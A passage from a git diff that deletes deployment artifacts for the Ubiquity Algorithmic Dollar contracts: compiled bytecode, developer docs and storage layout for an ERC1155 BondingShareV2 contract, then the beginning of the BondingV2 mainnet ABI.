65b6101fc6102c33660046128c9565b610e2a565b6102db6102d63660046128b1565b611038565b60405161018d9190600060c0820190506001600160a01b0383511682526020830151602083015260408301516040830152606083015160608301526080830151608083015260a083015160a083015292915050565b6101a961033e366004612505565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b6101fc61037a3660046125dd565b6110d9565b6101fc61038d366004612710565b61114e565b60006001600160a01b0383166104155760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201527f65726f206164647265737300000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152602081815260408083206001600160a01b03949094168352929052205490565b60006001600160e01b03198216636cdb3d1360e11b148061046c57506001600160e01b031982166303a24d0760e21b145b8061048757506301ffc9a760e01b6001600160e01b03198316145b90505b919050565b60606002805461049e90612ac7565b80601f01602080910402602001604051908101604052809291908181526020018280546104ca90612ac7565b80156105175780601f106104ec57610100808354040283529160200191610517565b820191906000526020600020905b8154815290600101906020018083116104fa57829003601f168201915b50505050509050919050565b6006545b90565b60035460ff16156105705760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b61057d85858585856111d3565b6001600160a01b038416600090815260046020526040902061059f908461126e565b5050505050565b6003546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156105f757600080fd5b505afa15801561060b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062f9190612861565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561066c57600080fd5b505afa158015610680573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190612845565b6106f05760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161040c565b6106f8611355565b565b606081518351146107735760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e67746860448201527f206d69736d617463680000000000000000000000000000000000000000000000606482015260840161040c565b6000835167ffffffffffffffff81111561079d57634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156107c6578160200160208202803683370190505b50905060005b84518110156108685761082d8582815181106107f857634e487b7160e01b600052603260045260246000fd5b602002602001015185838151811061082057634e487b7160e01b600052603260045260246000fd5b6020026020010151610392565b82828151811061084d57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261086181612b2f565b90506107cc565b509392505050565b6001600160a01b03831633148061088c575061088c833361033e565b6108ea5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b606482015260840161040c565b6108f58383836113f1565b505050565b6001600160a01b03811660009081526004602090815260409182902080548351818402810184019094528084526060939283018282801561051757602002820191906000526020600020905b8154815260200190600101908083116109465750505050509050919050565b6003546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156109b657600080fd5b505afa1580156109ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ee9190612861565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a2b57600080fd5b505afa158015610a3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a639190612845565b610aaf5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161040c565b6106f86114a3565b336001600160a01b0383161415610b365760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c2073746174757360448201527f20666f722073656c660000000000000000000000000000000000000000000000606482015260840161040c565b3360008181526001602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610ba3911515815260200190565b60405180910390a35050565b60035460408051632f533cb760e01b8152905160009261010090046001600160a01b0316916391d14854918391632f533cb7916004808301926020929190829003018186803b158015610c0157600080fd5b505afa158015610c15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c399190612861565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610c7657600080fd5b505afa158015610c8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cae9190612845565b610cfa5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e74657200000000604482015260640161040c565b60035460ff1615610d405760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b600754610d4e906001612a98565b9050610d6c858260016040518060200160405280600081525061151e565b600160076000828254610d7f9190612a98565b90915550506001600160a01b0385166000908152600460205260409020610da6908261162e565b6000818152600560208190526040822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0389161781556001810187905590810186905560038101859055436002820155600481018490556006805491928792610e1b908490612a98565b90915550919695505050505050565b60035460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b158015610e7b57600080fd5b505afa158015610e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb39190612861565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610ef057600080fd5b505afa158015610f04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f289190612845565b610f745760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e74657200000000604482015260640161040c565b60035460ff1615610fba5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b60008481526005602081905260409091209081015484811115610ffd57610fe18582612ab0565b60066000828254610ff29190612ab0565b9091555061101e9050565b6110078186612ab0565b600660008282546110189190612a98565b90915550505b506005810193909355600383019190915560049091015550565b61107a6040518060c0016040528060006001600160a01b0316815260200160008152602001600081526020016000815260200160008152602001600081525090565b50600090815260056020818152604092839020835160c08101855281546001600160a01b03168152600182015492810192909252600281015493820193909352600383015460608201526004830154608082015291015460a082015290565b60035460ff161561111f5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b61112c858585858561169f565b6001600160a01b038416600090815260046020526040902061059f908461162e565b6001600160a01b03831633148061116a575061116a833361033e565b6111c85760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b606482015260840161040c565b6108f5838383611726565b6001600160a01b0385163314806111ef57506111ef853361033e565b6112615760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000606482015260840161040c565b61059f8585858585611848565b60005b81518110156108f5576000805b84548110156112fb578383815181106112a757634e487b7160e01b600052603260045260246000fd5b60200260200101518582815481106112cf57634e487b7160e01b600052603260045260246000fd5b906000526020600020015414156112e957600191506112fb565b806112f381612b2f565b91505061127e565b5080611342578383838151811061132257634e487b7160e01b600052603260045260246000fd5b602090810291909101810151825460018101845560009384529190922001555b508061134d81612b2f565b915050611271565b60035460ff166113a75760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015260640161040c565b6003805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b60035460ff16156114375760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b611442838383611ad0565b60005b825181101561149d5781818151811061146e57634e487b7160e01b600052603260045260246000fd5b6020026020010151600760008282546114879190612ab0565b90915550611496905081612b2f565b9050611445565b50505050565b60035460ff16156114e95760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b6003805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586113d43390565b6001600160a01b03841661157e5760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b606482015260840161040c565b3361159e8160008761158f88611d33565b61159888611d33565b87611d8c565b6000848152602081815260408083206001600160a01b0389168452909152812080548592906115ce908490612a98565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461059f81600087878787611d9a565b60005b8254811015611684578183828154811061165b57634e487b7160e01b600052603260045260246000fd5b90600052602060002001541415611672575061169b565b8061167c81612b2f565b915050611631565b508154600181018355600083815260209020018190555b5050565b6001600160a01b0385163314806116bb57506116bb853361033e565b6117195760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b606482015260840161040c565b61059f8585858585611f58565b60035460ff161561176c5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b806001146117bc5760405162461bcd60e51b815260206004820152600b60248201527f616d6f756e74203c3e2031000000000000000000000000000000000000000000604482015260640161040c565b6117c8838360016120ed565b6000828152600560208190526040909120908101541561182a5760405162461bcd60e51b815260206004820152600760248201527f4c50203c3e203000000000000000000000000000000000000000000000000000604482015260640161040c565b60016007600082825461183d9190612ab0565b909155505050505050565b81518351146118aa5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b606482015260840161040c565b6001600160a01b03841661190e5760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b606482015260840161040c565b3361191d818787878787611d8c565b60005b8451811015611a6257600085828151811061194b57634e487b7160e01b600052603260045260246000fd5b60200260200101519050600085838151811061197757634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038e168352909352919091205490915081811015611a0a5760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b606482015260840161040c565b6000838152602081815260408083206001600160a01b038e8116855292528083208585039055908b16825281208054849290611a47908490612a98565b9250508190555050505080611a5b90612b2f565b9050611920565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051611ab2929190612a33565b60405180910390a4611ac8818787878787612266565b505050505050565b6001600160a01b038316611b325760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b606482015260840161040c565b8051825114611b945760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b606482015260840161040c565b6000339050611bb781856000868660405180602001604052806000815250611d8c565b60005b8351811015611cd4576000848281518110611be557634e487b7160e01b600052603260045260246000fd5b602002602001015190506000848381518110611c1157634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038c168352909352919091205490915081811015611c9d5760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b606482015260840161040c565b6000928352602083815260408085206001600160a01b038b1686529091529092209103905580611ccc81612b2f565b915050611bba565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051611d25929190612a33565b60405180910390a450505050565b60408051600180825281830190925260609160009190602080830190803683370190505090508281600081518110611d7b57634e487b7160e01b600052603260045260246000fd5b602090810291909101015292915050565b611ac8868686868686612371565b6001600160a01b0384163b15611ac85760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e6190611dde90899089908890889088906004016129dd565b602060405180830381600087803b158015611df857600080fd5b505af1925050508015611e28575060408051601f3d908101601f19168201909252611e2591810190612895565b60015b611ede57611e34612b76565b806308c379a01415611e6e5750611e49612b8d565b80611e545750611e70565b8060405162461bcd60e51b815260040161040c9190612a61565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e204552433131353560448201527f526563656976657220696d706c656d656e746572000000000000000000000000606482015260840161040c565b6001600160e01b0319811663f23a6e6160e01b14611f4f5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b606482015260840161040c565b50505050505050565b6001600160a01b038416611fbc5760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b606482015260840161040c565b33611fcc81878761158f88611d33565b6000848152602081815260408083206001600160a01b038a168452909152902054838110156120505760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b606482015260840161040c565b6000858152602081815260408083206001600160a01b038b811685529252808320878503905590881682528120805486929061208d908490612a98565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4611f4f828888888888611d9a565b6001600160a01b03831661214f5760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b606482015260840161040c565b3361217e8185600061216087611d33565b61216987611d33565b60405180602001604052806000815250611d8c565b6000838152602081815260408083206001600160a01b0388168452909152902054828110156121fb5760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b606482015260840161040c565b6000848152602081815260408083206001600160a01b03898116808652918452828520888703905582518981529384018890529092908616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a45050505050565b6001600160a01b0384163b15611ac85760405163bc197c8160e01b81526001600160a01b0385169063bc197c81906122aa908990899088908890889060040161297f565b602060405180830381600087803b1580156122c457600080fd5b505af19250505080156122f4575060408051601f3d908101601f191682019092526122f191810190612895565b60015b61230057611e34612b76565b6001600160e01b0319811663bc197c8160e01b14611f4f5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b606482015260840161040c565b60035460ff1615611ac85760405162461bcd60e51b815260206004820152602c60248201527f455243313135355061757361626c653a20746f6b656e207472616e736665722060448201527f7768696c65207061757365640000000000000000000000000000000000000000606482015260840161040c565b80356001600160a01b038116811461048a57600080fd5b600082601f830112612411578081fd5b8135602061241e82612a74565b60405161242b8282612b02565b8381528281019150858301600585901b8701840188101561244a578586fd5b855b858110156124685781358452928401929084019060010161244c565b5090979650505050505050565b600082601f830112612485578081fd5b813567ffffffffffffffff81111561249f5761249f612b60565b6040516124b6601f8301601f191660200182612b02565b8181528460208386010111156124ca578283fd5b816020850160208301379081016020019190915292915050565b6000602082840312156124f5578081fd5b6124fe826123ea565b9392505050565b60008060408385031215612517578081fd5b612520836123ea565b915061252e602084016123ea565b90509250929050565b600080600080600060a0868803121561254e578081fd5b612557866123ea565b9450612565602087016123ea565b9350604086013567ffffffffffffffff80821115612581578283fd5b61258d89838a01612401565b945060608801359150808211156125a2578283fd5b6125ae89838a01612401565b935060808801359150808211156125c3578283fd5b506125d088828901612475565b9150509295509295909350565b600080600080600060a086880312156125f4578081fd5b6125fd866123ea565b945061260b602087016123ea565b93506040860135925060608601359150608086013567ffffffffffffffff811115612634578182fd5b6125d088828901612475565b600080600060608486031215612654578283fd5b61265d846123ea565b9250602084013567ffffffffffffffff80821115612679578384fd5b61268587838801612401565b9350604086013591508082111561269a578283fd5b506126a786828701612401565b9150509250925092565b600080604083850312156126c3578182fd5b6126cc836123ea565b915060208301356126dc81612c1f565b809150509250929050565b600080604083850312156126f9578182fd5b612702836123ea565b946020939093013593505050565b600080600060608486031215612724578283fd5b61272d846123ea565b95602085013595506040909401359392505050565b60008060008060808587031215612757578182fd5b612760856123ea565b966020860135965060408601359560600135945092505050565b6000806040838503121561278c578182fd5b823567ffffffffffffffff808211156127a3578384fd5b818501915085601f8301126127b6578384fd5b813560206127c382612a74565b6040516127d08282612b02565b8381528281019150858301600585901b870184018b10156127ef578889fd5b8896505b8487101561281857612804816123ea565b8352600196909601959183019183016127f3565b509650508601359250508082111561282e578283fd5b5061283b85828601612401565b9150509250929050565b600060208284031215612856578081fd5b81516124fe81612c1f565b600060208284031215612872578081fd5b5051919050565b60006020828403121561288a578081fd5b81356124fe81612c30565b6000602082840312156128a6578081fd5b81516124fe81612c30565b6000602082840312156128c2578081fd5b5035919050565b600080600080608085870312156128de578182fd5b5050823594602084013594506040840135936060013592509050565b6000815180845260208085019450808401835b838110156129295781518752958201959082019060010161290d565b509495945050505050565b60008151808452815b818110156129595760208185018101518683018201520161293d565b8181111561296a5782602083870101525b50601f01601f19169290920160200192915050565b60006001600160a01b03808816835280871660208401525060a060408301526129ab60a08301866128fa565b82810360608401526129bd81866128fa565b905082810360808401526129d18185612934565b98975050505050505050565b60006001600160a01b03808816835280871660208401525084604083015283606083015260a06080830152612a1560a0830184612934565b979650505050505050565b6000602082526124fe60208301846128fa565b600060408252612a4660408301856128fa565b8281036020840152612a5881856128fa565b95945050505050565b6000602082526124fe6020830184612934565b600067ffffffffffffffff821115612a8e57612a8e612b60565b5060051b60200190565b60008219821115612aab57612aab612b4a565b500190565b600082821015612ac257612ac2612b4a565b500390565b600181811c90821680612adb57607f821691505b60208210811415612afc57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8201601f1916810167ffffffffffffffff81118282101715612b2857612b28612b60565b6040525050565b6000600019821415612b4357612b43612b4a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600060033d111561052757600481823e5160e01c90565b600060443d1015612b9d57610527565b6040516003193d81016004833e81513d67ffffffffffffffff8160248401118184111715612bcf575050505050610527565b8285019150815181811115612be957505050505050610527565b843d8701016020828501011115612c0557505050505050610527565b612c1460208286010187612b02565b509094505050505090565b8015158114612c2d57600080fd5b50565b6001600160e01b031981168114612c2d57600080fdfea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "balanceOf(address,uint256)": { - "details": "See {IERC1155-balanceOf}. Requirements: - `account` cannot be the zero address." - }, - "balanceOfBatch(address[],uint256[])": { - "details": "See {IERC1155-balanceOfBatch}. Requirements: - `accounts` and `ids` must have the same length." - }, - "constructor": { - "details": "constructor" - }, - "getBond(uint256)": { - "details": "return bond details." - }, - "holderTokens(address)": { - "details": "array of token Id held by the msg.sender." - }, - "isApprovedForAll(address,address)": { - "details": "See {IERC1155-isApprovedForAll}." - }, - "mint(address,uint256,uint256,uint256)": { - "params": { - "endBlock": "block number when the locking period ends", - "lpDeposited": "amount of LP token deposited", - "lpRewardDebt": "amount of excess LP token inside the bonding contract", - "to": "owner address" - } - }, - "pause()": { - "details": "Pauses all token transfers. See {ERC1155Pausable} and {Pausable-_pause}." - }, - "paused()": { - "details": "Returns true if the contract is paused, and false otherwise." - }, - "safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)": { - "details": "See {IERC1155-safeBatchTransferFrom}." - }, - "safeTransferFrom(address,address,uint256,uint256,bytes)": { - "details": "See {IERC1155-safeTransferFrom}." - }, - "setApprovalForAll(address,bool)": { - "details": "See {IERC1155-setApprovalForAll}." - }, - "supportsInterface(bytes4)": { - "details": "See {IERC165-supportsInterface}." - }, - "totalLP()": { - "details": "Total amount of LP tokens deposited." - }, - "totalSupply()": { - "details": "Total amount of tokens ." - }, - "unpause()": { - "details": "Unpauses all token transfers. See {ERC1155Pausable} and {Pausable-_unpause}." - }, - "updateBond(uint256,uint256,uint256,uint256)": { - "details": "update bond LP amount , LP rewards debt and end block.", - "params": { - "_bondId": "bonding share id", - "_endBlock": "end locking period block number", - "_lpAmount": "amount of LP token deposited", - "_lpRewardDebt": "amount of excess LP token inside the bonding contract" - } - }, - "uri(uint256)": { - "details": "See {IERC1155MetadataURI-uri}. This implementation returns the same URI for *all* token types. It relies on the token type ID substitution mechanism https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. Clients calling this function must replace the `\\{id\\}` substring with the actual token type ID." - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": {}, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 589, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "_balances", - "offset": 0, - "slot": "0", - "type": "t_mapping(t_uint256,t_mapping(t_address,t_uint256))" - }, - { - "astId": 595, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "_operatorApprovals", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_address,t_mapping(t_address,t_bool))" - }, - { - "astId": 597, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "_uri", - "offset": 0, - "slot": "2", - "type": "t_string_storage" - }, - { - "astId": 489, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "_paused", - "offset": 0, - "slot": "3", - "type": "t_bool" - }, - { - "astId": 5635, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "manager", - "offset": 1, - "slot": "3", - "type": "t_contract(UbiquityAlgorithmicDollarManager)14392" - }, - { - "astId": 5640, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "_holderBalances", - "offset": 0, - "slot": "4", - "type": "t_mapping(t_address,t_array(t_uint256)dyn_storage)" - }, - { - "astId": 5645, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "_bonds", - "offset": 0, - "slot": "5", - "type": "t_mapping(t_uint256,t_struct(Bond)5632_storage)" - }, - { - "astId": 5647, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "_totalLP", - "offset": 0, - "slot": "6", - "type": "t_uint256" - }, - { - "astId": 5649, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "_totalSupply", - "offset": 0, - "slot": "7", - "type": "t_uint256" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_array(t_uint256)dyn_storage": { - "base": "t_uint256", - "encoding": "dynamic_array", - "label": "uint256[]", - "numberOfBytes": "32" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_contract(UbiquityAlgorithmicDollarManager)14392": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_array(t_uint256)dyn_storage)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256[])", - "numberOfBytes": "32", - "value": "t_array(t_uint256)dyn_storage" - }, - "t_mapping(t_address,t_bool)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => bool)", - "numberOfBytes": "32", - "value": "t_bool" - }, - "t_mapping(t_address,t_mapping(t_address,t_bool))": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => mapping(address => bool))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_bool)" - }, - "t_mapping(t_address,t_uint256)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_mapping(t_uint256,t_mapping(t_address,t_uint256))": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => mapping(address => uint256))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_uint256)" - }, - "t_mapping(t_uint256,t_struct(Bond)5632_storage)": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => struct BondingShareV2.Bond)", - "numberOfBytes": "32", - "value": "t_struct(Bond)5632_storage" - }, - "t_string_storage": { - "encoding": "bytes", - "label": "string", - "numberOfBytes": "32" - }, - "t_struct(Bond)5632_storage": { - "encoding": "inplace", - "label": "struct BondingShareV2.Bond", - "members": [ - { - "astId": 5621, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "minter", - "offset": 0, - "slot": "0", - "type": "t_address" - }, - { - "astId": 5623, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "lpFirstDeposited", - "offset": 0, - "slot": "1", - "type": "t_uint256" - }, - { - "astId": 5625, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "creationBlock", - "offset": 0, - "slot": "2", - "type": "t_uint256" - }, - { - "astId": 5627, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "lpRewardDebt", - "offset": 0, - "slot": "3", - "type": "t_uint256" - }, - { - "astId": 5629, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "endBlock", - "offset": 0, - "slot": "4", - "type": "t_uint256" - }, - { - "astId": 5631, - "contract": "contracts/BondingShareV2.sol:BondingShareV2", - "label": "lpAmount", - "offset": 0, - "slot": "5", - "type": "t_uint256" - } - ], - "numberOfBytes": "192" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/BondingV2.json b/packages/contracts/dollar/deployments/mainnet/BondingV2.json deleted file mode 100644 index d5ce96d01..000000000 --- a/packages/contracts/dollar/deployments/mainnet/BondingV2.json +++ /dev/null @@ -1,1284 +0,0 @@ -{ - "address": "0xC251eCD9f1bD5230823F9A0F99a44A87Ddd4CA38", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "address", - "name": "_bondingFormulasAddress", - "type": "address" - }, - { - "internalType": "address[]", - "name": "_originals", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "_lpBalances", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "_weeks", - "type": "uint256[]" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_user", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingShareAmount", - "type": "uint256" - } - ], - "name": "AddLiquidityFromBond", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_blockCountInAWeek", - "type": "uint256" - } - ], - "name": "BlockCountInAWeekUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingDiscountMultiplier", - "type": "uint256" - } - ], - "name": "BondingDiscountMultiplierUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_user", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingShareAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_endBlock", - "type": "uint256" - } - ], - "name": "Deposit", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": false, - "internalType": "address", - "name": "token", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "DustSent", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_user", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpsAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_sharesAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "Migrated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_tokenWithdrawn", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amountWithdrawn", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amountTransfered", - "type": "uint256" - } - ], - "name": "PriceReset", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "ProtocolTokenAdded", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "ProtocolTokenRemoved", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_user", - "type": "address" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "_id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpAmount", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lpAmountTransferred", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_lprewards", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingShareAmount", - "type": "uint256" - } - ], - "name": "RemoveLiquidityFromBond", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - 